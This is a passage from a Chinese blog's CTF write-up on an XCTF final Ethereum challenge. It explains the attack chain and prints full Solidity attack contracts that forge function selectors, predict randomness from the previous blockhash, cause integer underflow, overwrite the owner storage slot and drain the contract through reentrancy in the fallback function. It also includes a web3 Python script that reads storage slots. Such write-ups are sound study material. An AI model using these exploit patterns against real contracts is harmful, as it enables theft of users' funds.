  • 第一次调用仅仅就判断了函数的返回值取反之后是满足true还是false,如果通过if判断则会进行第二次调用0xa8286aca函数,并将结果赋值给storage[0x02].

这里解答一下上面自己的疑问,就是wp里面说到两次返回结果不一样并不是一定不一样的,这是我们自己根据其它函数和攻击链子需要判断出来的这里两次调用函数返回结果需要不一样。首先第一次需要让它返回false,取反之后就是true,然后第二次需要返回true,然后storage[0x02] = true,才能满足调用buy函数的要求。

所以最终链子就是wp里的

  • 生成符合要求的外部账户,在 constructor 中调用 gift()

  • 调用 0x23de8635 func_06CE ,这里要利用 bytecode 的方式部署,因为我们不知道 func_06CE 中调用的接口函数 0xa8286aca 的函数名,所以利用 bytecode 的方式部署第三方合约,将 fake(uint256) 对应的函数选择 id 改为 0xa8286aca 即可,这样调用 0xa8286aca 就是调用我们重写之后的 0xa8286aca 了,用 bytecode 部署可以用在线的 myetherwallet

  • 调用 guess() ,然后调用 buy()

  • 调用 retract() 和 revise() 修改 owner

  • 部署第三方子合约,第三方子合约调用 gift() 和 transfer() 给攻击合约转账,然后调用 withdraw() 进行重入攻击

  • 最后调用 payforflag 即可

攻击

首先生成一个符合要求的用户。

部署第三方合约,在构造函数中调用gift函数

然后利用bytecode部署第三方合约,将bytecode中的fake(uint256)函数签名0xc7375737改为0xa8286aca

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
pragma solidity ^0.4.23;

contract hack {
address instance_address = 0xcCaECd49e4Ea39C536291193E9301dF4d5E0A654;
uint have_withdraw = 0;

int cnt = 0;

constructor() payable {
// gift()
address(instance_address).call(bytes4(0x24b04905));
}

function step1() public {
// storage[0x02] == 1
address(instance_address).call(bytes4(0x23de8635), 0);
}

function fake(uint256 _i) public returns(uint256) {
if(cnt == 1) {
return 1;
}
cnt = 1;
return 0;
}

function step2() public {
// guess(uint256)
uint256 v = uint256(block.blockhash(block.number-1)) % 3;
address(instance_address).call(bytes4(0x9189fec1), v);
// buy()
address(instance_address).call(bytes4(0xa6f2ae3a));
}

function step3() public {
// retract()
assert(address(instance_address).call(bytes4(0x47f57b32)));
}

function step4() public {
// revise(uint256,bytes32)
uint256 solt = 2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6;
address(instance_address).call(bytes4(0x0339f300), solt, 2**160 + uint256(address(this)));
}

function step5() public {
// withdraw
address(instance_address).call(bytes4(0x2e1a7d4d), 100);
}

function() payable {
if (have_withdraw <=2 && msg.sender == instance_address) {
have_withdraw += 1;
address(instance_address).call(bytes4(0x2e1a7d4d), 100);
}
}

function step6(string b64email) public {
address(instance_address).call(bytes4(0x6bc344bc), b64email);
}
}

contract son {
address instance_address = 0xcCaECd49e4Ea39C536291193E9301dF4d5E0A654;

constructor() payable {
// gift()
address(instance_address).call(bytes4(0x24b04905));
// transfer
address(instance_address).call(bytes4(0xa9059cbb), address(0xE281b17958fc2a9dc089Cc8c13c09bE787f88111), 100);

}
}

部署完可以看到合约地址最后十二位为0x111,并且按照上述分析,部署完第三方合约在构造函数会调用gift所以此时storage[0x04]应该为100,storage[0x05]和storage[0x06]都为1
利用如下合约验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from eth_abi import abi, encode_abi
from eth_utils import keccak
from Crypto.Util.number import bytes_to_long
from web3 import Web3,HTTPProvider
from hexbytes import *
def bytesTohex(data):
# return hex(bytes_to_long(data)).rjust(66,'0')
return hex(bytes_to_long(data))

contract_address = Web3.toChecksumAddress("0xcCaECd49e4Ea39C536291193E9301dF4d5E0A654")

rpc = 填写自己账户的rpc

w3 = Web3(HTTPProvider(rpc))
print(w3.isConnected())

# balance = w3.fromWei(w3.eth.getBalance(wallet_address), "ether")
# print(balance)
slot4 = Web3.keccak(encode_abi(['address','uint'], ['0xE281b17958fc2a9dc089Cc8c13c09bE787f88111',0x04]))
slot5 = Web3.keccak(encode_abi(['address','uint'], ['0xE281b17958fc2a9dc089Cc8c13c09bE787f88111',0x05]))
slot6 = Web3.keccak(encode_abi(['address','uint'], ['0xE281b17958fc2a9dc089Cc8c13c09bE787f88111',0x06]))

print("storage4 : " + bytesTohex(w3.eth.getStorageAt(contract_address, slot4)))
print("storage5 : " + bytesTohex(w3.eth.getStorageAt(contract_address, slot5)))
print("storage6 : " + bytesTohex(w3.eth.getStorageAt(contract_address, slot6)))
# slot = bytesTohex(w3.eth.getStorageAt(contract_address, idx+1))
# print(slot)
# for i in range(0,7):
# slot = w3.eth.getStorageAt(contract_address,i)
# print(bytesTohex(slot))

step1调用到重写的接口函数

在上述分析可以知道,接口函数重写需要使两次返回结果不一样,我们让第二次返回true,所以sotrage[0x02]=true

step2调用guess和buy函数

可以看到调用完,storage[0x00]相比调用前高位字节多了个0x01,即一个bool型变量被设置成了true。

而在buy函数中会使storage[0x05]和storage[0x06]都+1

step3调用retract函数

在retract函数中会进行storage[0x01]-1,而在上面可以看到storage[0x01]为0,所以会下溢出。

此时storage[0x01]为0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

step4调用 retract() 和 revise() 修改 owner

调用完storage[0x00]已经被修改

部署第三方子合约,第三方子合约调用 gift() 和 transfer() 给攻击合约转账

1
2
3
4
5
6
7
8
9
10
11

contract son {
address instance_address = 0xcCaECd49e4Ea39C536291193E9301dF4d5E0A654;

constructor() payable {
// gift()
address(instance_address).call(bytes4(0x24b04905));
// transfer
address(instance_address).call(bytes4(0xa9059cbb), address(0xE281b17958fc2a9dc089Cc8c13c09bE787f88111), 100);
}
}

转账一次+100,所以变成了0xc8即200

step5调用withdraw进行重入攻击

在这一步时我发现我在本地部署题目合约的时候没给合约里面转eth导致合约的balance为0。。。所以导致第三方合约无法调用withdraw函数。。最终换了个合约地址继续做题0x168892cb672A747F193eb4acA7b964bfb0aA6476,攻击合约为0x6959f5E401E881A35563599397E0345860742111

这里需要注意就是最开始storage[0x05]为0x02,而我们需要让它减4之后才能下溢出,所以需要将攻击账户的balance增加到400,所以总共需要部署第三方转账合约转三次,一次+100。因为我们调用witudraw进行重入攻击会改变storage[0x05],所以只有一次机会,不然得重新来一遍。

转账给攻击合约一直到balance为400

进行重入攻击

此时storage[0x05]下溢出,就能满足调用payforflag得条件了

调用payforflag

总结

这题前前后后做了很久很久,涉及到的知识太多了,虽然在wiki里面把这题推荐放在了介绍Ethereum Storage那一张,也是考察到了相关覆盖Storage的知识,但其它的考点也非常多,融合在一起对于入门一个月的新手讲确实很难了,而且还是个xctf决赛的题。但不得不说还是学到很多。对于重入攻击,溢出,随机数预测,以及eth下的区块链攻击模式有了更深的理解、


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!